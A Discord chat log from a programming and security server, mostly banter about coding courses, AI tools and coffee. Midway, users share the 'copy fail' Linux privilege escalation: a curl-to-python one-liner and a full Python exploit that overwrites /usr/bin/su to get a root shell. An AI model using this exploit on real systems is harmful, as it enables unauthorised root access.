https://klipy.com/gifs/wide-awake-wide-eyes--k01KQHVE4ACR2H235FS92VTCF1Q

[ornate ibex]

hope u ain't high

[frail turtle]

Why is boost just not integrated with C++

it makes no sense that it's its own independent entity

C++ needs a place to get packages, same for C

[supple plume]

Use javascript

[rancid swallow]

[supple plume]

Htb release my machine

[rancid swallow]

[devout sail]

That arm is more than some people's waist lmao

Like @native plume

[rare monolith]

hooooooly fuck good job dude

[chrome tree]

How far did you make it into boot.dev? Are you still doing it?

[frail turtle]

oh im like halfway through

i havnt touched it for like 2 weeks because I was on a drug called Caffeine

today i gotta re-sub

later after lunch

instead I was doing system programming for a bit taking code and translating it to another language

im crazy

[frigid mountain]

[chrome tree]

Dayum! Like the entire website half way through?

[chrome tree]

I think that's a great project

[crimson valley]

haha

[supple plume]

Hasta las moscas tienen mas suerte que yo

[chrome tree]

Cause python it keeps saying allows things that make other languages harder. Since it's dynamic I know the lessons say that there are concepts that python "can" do, but it's not built in like other languages

[terse dirge]

No I was late on a call with someone on some stuff

[chrome tree]

I'm sticking with it for now just cause I want the ease of building my tool like a braindead code monkey. Then after that I'll switch to something that requires more adept skills.

[supple plume]

Bro I don't understand your English

[terse dirge]

Going to bed rn tho, gn chat

[chrome tree]

You don't need to

[supple plume]

Best answer I've read today

[ornate oracle]

@gentle tulip are you by any chance there?

[devout sail]

Why tf python zip() doesn't compress my data

[ornate oracle]

any admins online or mods

[alpine pumice]

always

[ornate oracle]

can I send you a direct message? I don't wanna break any rules cuz I am new

[alpine pumice]

what's it about

[ornate oracle]

a scam / false presentation of admins in the server

[alpine pumice]

For anything moderation related you don't need to ask permission to DM a mod/admin, so go ahead

[ornate oracle]

okay great just wanted to make sure thank you!

[misty jewel]

Hey How to make portfolio ...can someone guide
..I am really confused

[west venture]

It's too blurry to read

[frail turtle]

Well the typescript pathway more like

[devout sail]

Let me change that

Goto lenskart

[rancid swallow]

oh nyo

[devout sail]

Why tf are there soo many rich biches in general today

With their fancy ahh decorations

[chrome tree]

I'm going through the entire backend path at the moment. Finished functional programming and just started to do some challenges to keep my streak up. Then working on a personal project.

How's the typescript? Also they have a boss, so bonus exp and rewards if you start up again.

[rancid swallow]

who

[devout sail]

Y'all

[west venture]

You

[rancid swallow]

[zealous charm]

[west venture]

Specifically karmanya03

[devout sail]

No coffee

I like tea tea

[west venture]

Also who is karmanya03

[rancid swallow]

me no rich

[west venture]

https://tenor.com/view/wait-a-minute-who-are-you-kazoo-kid-funny-gif-16933963

[rancid swallow]

a random guy

[west venture]

I haven't seen you here

[rancid swallow]

-# (itz my real name tho)

[ornate ibex]

rich

[west venture]

Within the last few years to decades

[rancid swallow]

i joined a few times here but never talked

[west venture]

Lmao

[devout sail]

:1984:

I didn't delete it aut0

[ornate oracle]

dude is impersonating an admin so he can teach me to trade crypto

[ornate ibex]

stop saying stuff that would compel me to kick u out of the server @devout sail

[ornate oracle]

didn't even bother to join the htb server

[west venture]

Yes I am also an admin

[devout sail]

But everyone says deek and stuff

And ... Alright

:exit:

[ornate oracle]

May I dm you? I can't post screenshot here

[devout sail]

I'll just enjoy the normal tea²

[devout sail]

Dm me
Wanna see who got impersonated

[west venture]

I am not an admin

[devout sail]

Was it falconspy again?

[ornate oracle]

nope NightWolf56

[devout sail]

Oh

Alright

[west venture]

Send me a ss anyway

I'll post it here

[devout sail]

I was just curious to know the name

[alpine pumice]

Don't impersonate admin/mod/staff

[devout sail]

Hmm tejas

[rancid swallow]

[devout sail]

Can I have your pfp

For some research purpose

[ornate ibex]

u could download by urself 🫠

[devout sail]

https://cdn.discordapp.com/avatars/561210274653274133/7bc38545866c376db934818118ee4829.png?size=512

[ornate ibex]

see

[devout sail]

Brb

[ornate ibex]

it is time until we see impersonation of me

[devout sail]

Keep your hammer ready

[west venture]

That copy fail exploit bullshit is way to complicated for me to understand

[ornate ibex]

yes, I'm gonna ban ur real account to enternal as well.

[west venture]

I get the concept but the PoC is shit

[devout sail]

Bruh just be yourself, script kitty, forget how it works and run
curl https://copy.fail/exp | python3 && su

[west venture]

You don't need all that I made a PoC that directly drops you into a root shell

[supple plume]

What if the curl output is sending a root rev shell to someone else?

[high cobalt]

Until the domain gets highjacked by bad actors

[west venture]

Why would bad actors hijack domains? Are they having trouble finding acting jobs bc they're bad at acting?

[devout sail]

they can have it as fee

[devout sail]

Ever heard about multitasking

Anyways

[west venture]

Yes

Multithreading

[devout sail]

I had skin care today

[west venture]

I got sunburned yesterday

My skin is peeling off

[devout sail]

Took 2h lmao

I keep sunscreen in my bag

Always

It's been in my bag from like 1y

Haven't used it ever

[west venture]

Why do you keep it?

[alpine pumice]

because his skin is weak

[devout sail]

Ex gave me to use it
But helmet covers whole face too so it just gets wiped out

It lasted more than relationship 💀

I do use the lip balm tho
It's nice

[high cobalt]

Imagine if the copy.fail research was an APT group that just tricked us into thinking they were researchers so thay can spread malware via the "exploit poc"

[west venture]

What would they gain by doing that?

[devout sail]

Your shell

[high cobalt]

People running a persistent c2 because they think it is just a test poc

[west venture]

You're just giving away a zero day source code

[devout sail]

I think 0xdf made a video

Go watch it

[west venture]

But I have the source code

[devout sail]

Sauce code 😺

[west venture]

And I could also write my own exploit

[high cobalt]

The thing is, the source contains a binary ... could technically still be malicious

[west venture]

Well just copy past the code

[high cobalt]

They did't include the c code for the shellcode

At least initially

[west venture]

Oh

[devout sail]

It could work if it wasn't this popular lmao
Like that one time someone made an exploit for huntress CTF, it works but was also a malware 💀

[worthy cargo]

python has the smallest poc

[frail turtle]

The functional programming course was confusing because they dont explain in detail why things work the way they do

[west venture]

Well Gemini figured it out independently and gave me a working exploit 💀

[worthy cargo]

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

[devout sail]

I asked my clanker

[frail turtle]

I haven't started typescripting though not yet im on the data structs and algorithms course

[chrome tree]

Yeah, I fed a lot of the concepts into claude and then had it provide me with examples. I also used Boots after I completed certain lessons to explain this better. Had full on chats with that bear. I might need to be medicated. lmao

[frail turtle]

I spent money on a book dedicated to understanding functional programming

im honestly impressed at how it works

[high cobalt]

I mean I am just joking anyways and also trusted the poc script, but still the approach can make a bit sceptical ... piping curl into python is generally not a good idea 😄

[molten bobcat]

I'm gonna have another niece/nephew 🙂

[chrome tree]

It's very clean. Recursion and currying are some of my favorites.

[frail turtle]

i started reading that instead of working on boot.dev as well

[worthy cargo]

Congratulations

[frail turtle]

like this guy

[high cobalt]

Sweet

[frail turtle]

the author he's written a lot of books

and it's like listening to a genius flaunt how much money he's made

like you can't say anything bad because he knows his shit.

[west venture]

I curl to bash all the time

I also pipe cat to grep

[chrome tree]

What's the book? you got me interested now. Also is it in python or another language?

[frail turtle]

then you know it got me thinking

[frail turtle]

it's python he's a professional in it

[west venture]

cat file.txt | grep "whatever"

[frail turtle]

but the way he writes code

is like you could tell he knows more than the average guy

[chrome tree]

Savant, you might say?

[supple plume]

Servant *

[frail turtle]

it's called mastering functional programming by larry jones

[high cobalt]

Are you talking about ThePrimeagen?

[frail turtle]

I don't like the primeagen

[supple plume]

Primeagen goated

[frail turtle]

70% of the primeagen is him just praising features of programming languages.

[supple plume]

The name - is don't curl to bash to check for commands on your favorite website - agen

[high cobalt]

Still, he is funny and is at least not a total fraud like most programming influencers 😆

[frail turtle]

but yeah like functional programming got me thinking about how i could use it in

statically compiled languages

because that's where I want to be most

because python treats functions as objects

[supple plume]

You should try TempleOS

[supple plume]

Sounds like McDonalds interview to Terry Davis

[high cobalt]

RIP Terry 😔

[frail turtle]

RIP Terry, who was constantly on the run from the CIA

[chrome tree]

I think he's alright. I like his lessons on boot.dev but I don't watch him regularly on YT or nothing. Also, thanks for that book. I might pickup a hard copy off amazon.

Missing having physical copies I can highlight. Most of my work is just pdf docs and flameshot to do my highlighting / annotating

[frail turtle]

oh yeah his course on github was beautiful

[rapid badger]

Prime was cool when he was just an engineer who streams. Now he is a full-on "content creator" and kinda meh

[frail turtle]

I definitely have to go back one day

[high cobalt]

I mean Terry did say racist stuff but probably only bc he was an insane genious

[chrome tree]

Rebasing is based.

[frail turtle]

I was watching

a short from codingjesus I think he is both right and not right

i wanted to share it with you guys hold on

[high cobalt]

Oh god

[frail turtle]

https://www.youtube.com/watch?v=c9KdgaeXWVs

[high cobalt]

Codingjesus is honestly gatekeeping in pure form man

[frail turtle]

oh wait its not a short.

well it's more like the first 15 seconds

or 1 min

i think

[chrome tree]

Thanks for sharing. popped canary token in the background

I think I've seen this guy pop up in my feed

[frail turtle]

he claims that AI hasn't made anything worthwhile, and a bunch of empty promises.

I think that's both true and not true in many aspects

[molten bobcat]

I'm hoping for more free time today

I wanna work on my blog

[chrome tree]

I don't think it could replace people. I think people will need to know how to integrate into their workflow to work more efficiently though

[frail turtle]

like Red Hat the company behind fedora OS and Red hat enterprise linux they literally told their workers to use AI or find another job

like AI is not dying in the slightest.

its definitely being used as like an underdog for building stuff

[chrome tree]

Like consult it for concepts and understanding those concepts. Then implement those concept yourself.

That sounds weird written but I think you get the jist

That's the way i use it at least. Have it provide me a couple of examples or refresh my memory for certain syntax

[frail turtle]

https://youtube.com/shorts/kciQnuH1kXU?si=y04JobSW-WYuLzxB on a side note i watched this short and laughed

[molten bobcat]

I just don't use it at all

It's not what I'm looking for

[frail turtle]

not even for information?

like how to do something or how something works? o.O

i mean that's what i use it for, or to check some work

[rancid swallow]

[molten bobcat]

I can just Google that

I've been doing it for years I don't intend on stopping

I form my own opinions based on the information my searches return

[high cobalt]

I use it for really shitty task that aren't really possible with macros. Like "Okay get me all texts from this web components and make them translatable"

[frail turtle]

👀 you know, now you're giving me ideas

[molten bobcat]

Mankind has made it to the moon and back alive with less RAM than the average modern cellphone

[high cobalt]

This was the first time I really ised AI in an IDE

[molten bobcat]

I'd be ashamed of myself if I needed an AI to tell me what to do

I know what to do because I studied and prepared myself

I'll be ready to go even if a cloudflare outage is occurring 😉

[frail turtle]

What would you do if it did?

I feel like the answer to that has a wall of text behind it

[molten bobcat]

I don't know what you're asking

[frail turtle]

like what would you do if cloudflare had an outage

[molten bobcat]

I'd continue working as normal

[vagrant crag]

What about the AI as a tool argument shouldnt we embrace new technology? ive been struggling with this

[molten bobcat]

We should embrace new technology, yes

However

I am of the opinion the people who want us to use their products (chatbots, LLMs) are ketamine snorting morons who only care about money and profits

[frail turtle]

well this guy kept making false videos of shit happening at one point he got a random guy falsely arrested for something he didn't do.

for youtube

[molten bobcat]

So I'm distrustful of those specific products because their creators are idiots

What they created isn't good enough to help me do my job better.

What's going to get my job done faster and more accurately is ME getting better

It's dependent on me and my efforts alone

[frail turtle]

I'm all about using it responsibly but not to do harm

Ave 😄

[molten bobcat]

It's not to say I'm some Luddite, I love automation and all the speed that grants me

But I wrote my own automation too

[frail turtle]

Automation is not the same as using an LLM though

[molten bobcat]

I am aware

That's why I prefer to write my own automation to increase speed rather than using an LLM

[frail turtle]

Though I respect that, creating your own tools is admirable

[molten bobcat]

It kinda feels like LLMs are being shoved into every slot that can fit one because of investor desires rather than necessity

[worthy cargo]

Creating your own tools is much faster with some help from gen AI

If you're already a dev, use AI as as a tool.

[molten bobcat]

I don't trust gen AI to not fuck my shit up

So I don't use it

[worthy cargo]

It hasn't fucked any of my shit up yet

[molten bobcat]

I don't believe you

[worthy cargo]

I heavily use AI coding

[molten bobcat]

Phrase of the day is "unforeseen consequences"

[worthy cargo]

Almost everything I do is AI coding now. I just spend 90% of the time auditing the code and making sure it's good.

[molten bobcat]

Except I'm foreseeing them.

[vagrant crag]

What do you think of the following use cases:

1. using it to crrect syntax and in trouble shooting
2. vibe coding an internal tool in a faster timeframe ?

[molten bobcat]

Humans have been troubleshooting successfully without AI longer than you and I have been alive

[molten bobcat]

Speed does not equal quality

[worthy cargo]

Some people just take pride in doing things themselves no matter how hard it may be

[frail turtle]

what do you work as?

[worthy cargo]

But then again, working smarter > working harder

[worthy cargo]

I used to make software. Then I switched to security

[molten bobcat]

It's true, I feel more satisfied from my life's work when I am doing it myself

[vagrant crag]

but why not use a calculator

[molten bobcat]

But that just feels like, what I should feel as a human

[molten bobcat]

Calculators are tools that don't provide their opinion

My screwdriver doesn't offer me incorrect suggestions

[worthy cargo]

AI doesn't have an opinion on anything. It's just a text prediction model.

If you think that is an opinion from AI, you're doomed.

[chrome tree]

Yeah, I don't let it write my code. I just use it as a way to aggregate information quickly and provide practical examples that I can then mold in my own way. Then I don't have to sift through mountains of crap to get what I want

[gilded fern]

@mortal forge

[worthy cargo]

I've never had to sift through mountains of any crap.

[molten bobcat]

There's no way to validate the data it receives because you're not in complete control of it

[worthy cargo]

I have no idea why people dislike AI and are prideful in their own shit code.

[molten bobcat]

I'm not prideful about my code, I don't code

I'm prideful about being a human

[gilded fern]

https://tenor.com/view/baby-tuff-son-im-crine-gif-7690159340150630748

[gilded fern]

[molten bobcat]

AI is a product created by humans and people are using it as if it doesn't have flaws and doesn't need to be audited on every response to ensure verisimilitude

[chrome tree]

https://giphy.com/gifs/abcnetwork-7EeREuWx8PMQhjdcHS

[worthy cargo]

Like I said, I audit and manually approve everything. Like I used to when jr. devs reported to me and I had to review their code.

It's the same with AI

I haven't found a difference

[gilded fern]

https://tenor.com/view/rolecist-rolecism-level-10-no-talk-reach-level-10-first-gif-8350900745734822000

[molten bobcat]

I have a blog where I intend on writing about investigative theory

[frail turtle]

Dude my code is garbage tier I had a mentor tell me once all my flaws

[frail turtle]

It gave me the literal body dismorphia of coding for real

[worthy cargo]

Come on we're having a discussion. Please stop spamming dumb GIFs

[molten bobcat]

My passions for cybersecurity revolve around solving them like criminal cases

[chrome tree]

I mean like going through pages and pages of google pages to find some small edge case scenario fix. I can just ask it to provide a few examples. Normally it's just forgetting a parameter, or not understanding how to fully utilize built in functionality.

[gilded fern]

https://tenor.com/view/cringe-gif-13669406505701813608

[vagrant crag]

whats your opinion on AI outisde the things you do for your job like using it to code a website or smth

[chrome tree]

Coming from a python perspective

[molten bobcat]

I have a feeling asking it to code is asking for problems

So I don't

[vagrant crag]

But is it a practical consideration or just a vibes thing? if it wrote perfect code would you still have a problem with it

[molten bobcat]

Nothing can write perfect code

It's an art form thing

[frail turtle]

I've been there i had to navigate through the docs in python struggling in hell

[molten bobcat]

Think about it, have you seen a perfect painting before?

It doesn't exist

[worthy cargo]

What would take me days or weeks to write, now takes me a few hours to write. I review the code and make sure it's secure and works. All in a fraction of the time it would have taken me to manually write code.

[molten bobcat]

Code is another product of human creation

[worthy cargo]

I developed software for years. I'm done. AI is great.

[frail turtle]

the thing with python docs is that there's like a tutorial version that has all the methods for a data structure, and then theres a reference that only explains some methods

[chrome tree]

Stalling out on something small and losing too much time can really demotivate me, so it's just easier to keep the work friction to a minimum without it having written the code for me.

[molten bobcat]

I think a lot of corporations and businesses are more concerned about squeezing productivity out of every last cell in your body than they are concerned about anything else

[frail turtle]

im like why didn't they just put the docs for that in the actual reference.

[worthy cargo]

(use-package claude-code
  :ensure (claude-code :host github :repo "stevemolitor/claude-code.el")
  :bind ("C-c c" . claude-code-transient)
  :config
  ;; Optional: Start the Emacs server if not already running
  (unless (server-running-p) (server-start)))

(setq claude-code-terminal-backend 'vterm)
(setq claude-code-optimize-window-resize t)
(setq claude-code-no-delete-other-windows t)
(setq claude-code-toggle-auto-select t)

(with-eval-after-load 'claude-code
  (add-to-list 'display-buffer-alist
               '((lambda (buffer-or-name _)
                   (string-prefix-p "*claude:" (buffer-name (get-buffer buffer-or-name))))
                 (display-buffer-reuse-window display-buffer-in-side-window)
                 (side . right)
                 (slot . 1) ;; Optional: keeps it separate from vterm if both are open
                 (window-width . 0.4))))

Claude code integration with Emacs https://github.com/stevemolitor/claude-code.el

[molten bobcat]

So no, I think "productivity tools" are a scam designed to work people to the absolute breaking point until they're used up lol

I'd also like to point out that AI written malware is on the steady rise

[frail turtle]

Zig is probably the worst documented language I have worked with to date,

[molten bobcat]

It's causing strange behavior that isn't normally observed

[frail turtle]

i have no idea why the creator of ghostty uses it

[willow storm]

NVM its working ehm

[high cobalt]

Probably because he wanted to use it

[frail turtle]

Ahem AHEM

[high cobalt]

And likes the idea of it

[frail turtle]

idk i look at that language and i go crazy

[willow storm]

https://tenor.com/view/penguin-hide-you-didnt-see-anything-penguins-of-madagascar-gif-15123878

[high cobalt]

Eh, I look at C and also go crazy because the function names are eww

[deft jackal]

hi everyone😁

[molten bobcat]

I kinda want a coffee

[high cobalt]

Then make yourself some? 😄

[molten bobcat]

Debating if I'm lazy enough lol

[rough mirage]

get a coffee machine

[molten bobcat]

I have one

[rough mirage]

....youre too lazy to use a coffee machine? 😭

[molten bobcat]

The couch is comfy

[high cobalt]

Thats kinda next level lazy

[rough mirage]

bruh

[molten bobcat]

[rough mirage]

literally one button btw

[molten bobcat]

Nah I have to fill it

The sheer trauma

[rough mirage]

ah fair enough then

[molten bobcat]

Tell you what if I get assigned to on-call status I'll make coffee and write for my blog

[frail turtle]

dont get addicted like i was

[rancid swallow]

[frail turtle]

I am a recovering caffeine addict

[rough mirage]

the cleaner fills mine so idek how to fill a coffee machine

[molten bobcat]

Bruh

[high cobalt]

Interresting how you are lazy but are not procrastinating about writing your blog

[rough mirage]

u got a blog?

[molten bobcat]

Yeh it's in my profile

It's only got a single page rn

[chrome tree]

https://giphy.com/gifs/heyarnold-hey-arnold-nicksplat-l4Epcm5XfQhn6uEU0

[molten bobcat]

But I have the design ironed out

[rough mirage]

oh ive seen this before I think

I recognize the ui

[stone marsh]

Ah good ol jekyll with the hacker theme

[rancid swallow]

Cool , what blog r u working on btw?

[molten bobcat]

It's gonna be an investigative guide that will allow someone to do my job

At least as well as I do

[molten bobcat]

https://c1oudbased.github.io/

[molten bobcat]

I made it blue!